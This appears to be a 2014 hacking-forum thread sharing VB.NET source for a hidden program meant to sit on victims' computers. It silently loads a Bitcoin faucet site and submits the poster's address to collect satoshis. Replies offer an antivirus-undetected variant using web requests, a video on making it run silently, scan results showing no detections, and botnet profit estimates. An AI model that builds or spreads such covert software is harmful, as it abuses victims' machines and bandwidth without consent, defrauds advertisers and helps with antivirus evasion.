

Forum:[Hack Forums](#)

Thread: [moonbit viewing virus FUD \[0/61\]](#)

Razor Sharp - October 5, 2014, 4:40 pm

Hey HF, I was learning about filling in forms and clicking buttons on webpages in vb.net and had a idea for a virus that silently sits on your victims computer with moonbit open, earning you bitcoins constantly. Also you would only need one install per address. It says FUD in the title but my original code is not, as you can see with the scan results at the bottom but Das Swag's version is and works a lot better than mine so I recommend you use his. Anyway if you want to use mine the source is here. I understand people not wanting to steal other users bandwidth, it does not use a lot (708 B/s and 196 B/s average according to netbalancer) but its your choice how you use it, I originally made it as I virus but you could use Das Swag's visible console application on your own computer, so you do not have to have moonbit open in your browser. I personally won't use it for malicious purposes, but as I said, it is up to you how you use it.

Code Public Class Form1

```
Dim BCT_Address = "your bitcoin address"
```

```
WithEvents webbrowser1 As New WebBrowser
```

```
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
```

```
Me.WindowState = 1 'Minimized
```

```
Me.ShowInTaskbar = 0 'False
```

```
Me.Visible = 0 'False
```

```
webbrowser1.Navigate("http://moonbit.co.in/")
```

```
End Sub
```

```
Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles webbrowser1.DocumentCompleted
```

```
Dim Bitcoin_Adress_Input As HtmlElement =
```

```
webbrowser1.Document.GetElementById("BodyPlaceholder_PaymentAddressTextbox")
```

```
Dim Sign_in_button As HtmlElement =
```

```
webbrowser1.Document.GetElementById("BodyPlaceholder_SignInButton")
```

```
Bitcoin_Adress_Input.SetAttribute("value", BCT_Address)
```

```
Sign_in_button.InvokeMember("click")
```

```
End Sub
```

```
End Class
```

How to use:

Just add your bitcoin address where it says "your bitcoin address" (with quotes). When you want to claim your bitcoins just head over to [moonbit](#), login with your bitcoin address and click claim.

scan results:

Spoiler ([Click to View](#))

[img]http://v2.scan.majyx.net/image.php?id=207660[/img]

link to scan [here](#)

Anyway I hope someone can use this ?.

SIM-1984933 - October 5, 2014, 4:56 pm

Nice Job Mang Keep it up :D

- | Hex |

TRH4CK - October 5, 2014, 5:01 pm

Actually this is something very smart xD Aha I never thought about this, but I dont do rats/bots :/

TheBarret - October 5, 2014, 5:08 pm

So eager to steal from ppl, sad very sad.

Das Swag - October 5, 2014, 6:46 pm

(Oct 5, 2014 05:08 PM)TheBarret Wrote: [\[CITE\]](#) So eager to steal from ppl, sad very sad.
This isn't stealing from anyone, they're just sitting on a website

Also instead of viewing the website, you could just make them send a web request to
Code <http://moonbit.co.in/api/claimsummary/?paymentAddress=BTCADR>
Every so often and that will add the satoshi to your account

Edit;

I went ahead and created another moonbit collector using a webclient instead of a web browser in hopes that it could possibly help you down the road

[Direct link to the source](#)

[Video on how to make it run silently](#)

As there's no executables in the zip archive there's no need for a virus scan

Current scan of the complied file (not included, will have to compile the application yourself)

Result: (0/61)

Spoiler ([Click to View](#))

A-Squared(Emisoft AntiMalware) Clean - Nothing Found

Agnitum Clean - Nothing Found

AhnLab V3 Internet Security Clean - Nothing Found

ArcaVir Clean - Nothing Found

Avast Clean - Nothing Found

Avg Clean - Nothing Found

Avira Clean - Nothing Found

Ad-Aware Clean - Nothing Found

Baidu AV Clean - Nothing Found

BitDefender Clean - Nothing Found

BKav Clean - Nothing Found

BullGuard Internet Security Clean - Nothing Found

ByteHero Clean - Nothing Found

ClamAv Clean - Nothing Found

Comodo Clean - Nothing Found

Total Defense IS Clean - Nothing Found

Dr. Web Clean - Nothing Found

eScan Clean - Nothing Found

eTrust-Vet Clean - Nothing Found

eScan Internet Security Suite 14 Clean - Nothing Found

ESET NOD32 Clean - Nothing Found

Fortinet Clean - Nothing Found

Fprot Clean - Nothing Found

FSB Antivirus Clean - Nothing Found

F-Secure Clean - Nothing Found
Gdata Clean - Nothing Found
Ikarus Clean - Nothing Found
Immunet Antivirus Clean - Nothing Found
IObit Malware Fighter Clean - Nothing Found
K7Ultimate Clean - Nothing Found
Kaspersky Internet Security 2013 Clean - Nothing Found
KingSoft Clean - Nothing Found
Malwarebytes Anti-Malware Clean - Nothing Found
mcafee Clean - Nothing Found
Microsoft Security Essentials Clean - Nothing Found
nProtect Clean - Nothing Found
NANO Antivirus Clean - Nothing Found
Netgate Clean - Nothing Found
Norton Internet Security Clean - Nothing Found
Norman Clean - Nothing Found
Outpost Security Suite Pro Clean - Nothing Found
Ozone AV Clean - Nothing Found
Panda Antivirus Clean - Nothing Found
Panda Cloud Clean - Nothing Found
PC Tools Clean - Nothing Found
Quick Heal Clean - Nothing Found
SUPERAntiSpyware Clean - Nothing Found
Solo Clean - Nothing Found
Sophos Clean - Nothing Found
TotalDefense Clean - Nothing Found
Trendmicro Internet Security Clean - Nothing Found
TrustPort Antivirus 2014 Clean - Nothing Found
Twister Antivirus 8 Clean - Nothing Found
Unthreat AntiVirus BE Clean - Nothing Found
Vba 32 Clean - Nothing Found
Vexira Clean - Nothing Found
Vipre Internet Security 2013 Clean - Nothing Found
VirIT Clean - Nothing Found
Webroot Clean - Nothing Found
Zillya Clean - Nothing Found
Zoner Clean - Nothing Found
360 Clean - Nothing Found

Filename: EzPz MoonBit Collector.exe
File MD5 Hash: e6d7138e33bdb3878a66cbb49490980b
File SHA1: 65a26b9cd4633f61b39d85d7388418e2047a2139
File Size: 122368 Bytes
Time Scanned: 6-10-14, 04:13:02
Scan provided by [RazorScanner](#)
Link to Scan: <http://razorscanner.com/result.php?id=599703>

Odus - October 6, 2014, 2:34 am

(Oct 5, 2014 06:46 PM)Das Swag Wrote: [\[CITE\]](#) This isn't stealing from anyone, they're just sitting on a website

Well technically you're leeching from someone's bandwidth. I like how you ditched the web browser though.

nuk - October 6, 2014, 5:36 am

Not bad at all (if this is your type of thing)... I do agree with Odus about the stealing bandwidth from people (which I'm against) but I can appreciate the share :)

Cornflower Blue ???-? - October 6, 2014, 6:04 am

So can somebody explain what a satoshi is? And does this make BTC?

I am soo confused, never messed with BTC before.

Das Swag - October 6, 2014, 6:17 am

(Oct 6, 2014 06:04 AM)Cornflower Blue ???-?— Wrote: [\[CITE\]](#) So can somebody explain what a satoshi is? And does this make BTC?

I am soo confused, never messed with BTC before.

A satoshi is currently the smallest unit of the Bitcoin currency (1/100,000,000 BTC or 0.0000001 BTC). The unit has been named "satoshi" in collective homage to the founder Bitcoin, Satoshi Nakamoto.

<https://en.bitcoin.it/wiki/Satoshi>

Cornflower Blue ???-? - October 6, 2014, 6:19 am

(Oct 6, 2014 06:17 AM)Das Swag Wrote: [\[CITE\]](#) A satoshi is currently the smallest unit of the Bitcoin currency (1/100,000,000 BTC or 0.0000001 BTC). The unit has been named "satoshi" in collective homage to the founder Bitcoin, Satoshi Nakamoto.

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Right thanks, how come that website just gives out btc tho?

Das Swag - October 6, 2014, 6:33 am

(Oct 6, 2014 06:19 AM)Cornflower Blue ???-?— Wrote: [\[CITE\]](#) Right thanks, how come that website just gives out btc tho?

They display ads on the page and you have to sit on the page to earn the small amount of btc, so viewing the ads gives the owner of the website money

Cornflower Blue ???-? - October 6, 2014, 6:36 am

(Oct 6, 2014 06:33 AM)Das Swag Wrote: [\[CITE\]](#) They display ads on the page and you have to sit on the page to earn the small amount of btc, so viewing the ads gives the owner of the website money
Ah right, I get it now. Thanks for the help.

Razor Sharp - October 19, 2014, 7:41 am

Made a updated version with many more features, check it out [here](#)

Zlatane Ibrahimovique - October 19, 2014, 4:26 pm

When claiming I do need to input a CAPTCHA. This bypasses totally that need?

Mr Slothells - October 19, 2014, 8:12 pm

Not to be a terrible individual or anything but let's just do some basic calculations

In one minute I was able to collectively earn 7 Satoshi. So that's 420 Satoshi per hour.

So totally we have per minute: \$0.0000269318 Per minute

and per hour: \$0.0016122540

Now let's total this for 24 hours, that's 1080 Satoshi PER day averaging at: \$0.0041470920

So in order to make \$1 I would need to get (as of today) 260,369 Satoshi. That's approximately 241 days.

Now let's say I had a botnet with around 6,500 slaves (I don't, I don't actually have a bot net)

I could make approximately 702,000 Satoshi every 24 hours averaging at \$2.5-\$2.6 PER day.

With the same botnet you could earn a lot more. This doesn't seem too good of an idea OP, but a fantastic concept nevertheless.

Razor Sharp - October 20, 2014, 12:29 pm

(Oct 19, 2014 08:12 PM)Mr Slothells Wrote: [\[CITE\]](#) Not to be a terrible individual or anything but let's just do some basic calculations

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With the same botnet you could earn a lot more. This doesn't seem too good of an idea OP, but a fantastic concept nevertheless. Thanks for the post, a very good point but I got confused around the area where you said "So that's 420 Satoshi per hour.

" and then said "Now let's total this for 24 hours, that's 1080 Satoshi PER day".

If it is 420 per hour, $420 \times 24 = 10080$ (\$0.03) PER bitcoin address. Lets say we use have 4 bitcoin addresses PER bot, that's \$0.12 a day. Now, like you said with 6,500 slaves, $\$0.12 \times 6,500 = \$780$ per day (\$18720 per week/\$1,123,200 per year! (2927.36323595 Bitcoins)?). Still as you said, you could probably make more money with the same botnet AND with the way the program is set up it would be incredibly difficult to make 6,500 individual bots and it would take hours to A set up all those bots and B to make 6,500 claims (all could be automated though!).

(Oct 19, 2014 04:26 PM)Pereira Wrote: [\[CITE\]](#) When claiming I do need to input a CAPTCHA. This bypasses totally that need? Unfortunately no, you still need to input a captcha to claim, sorry.?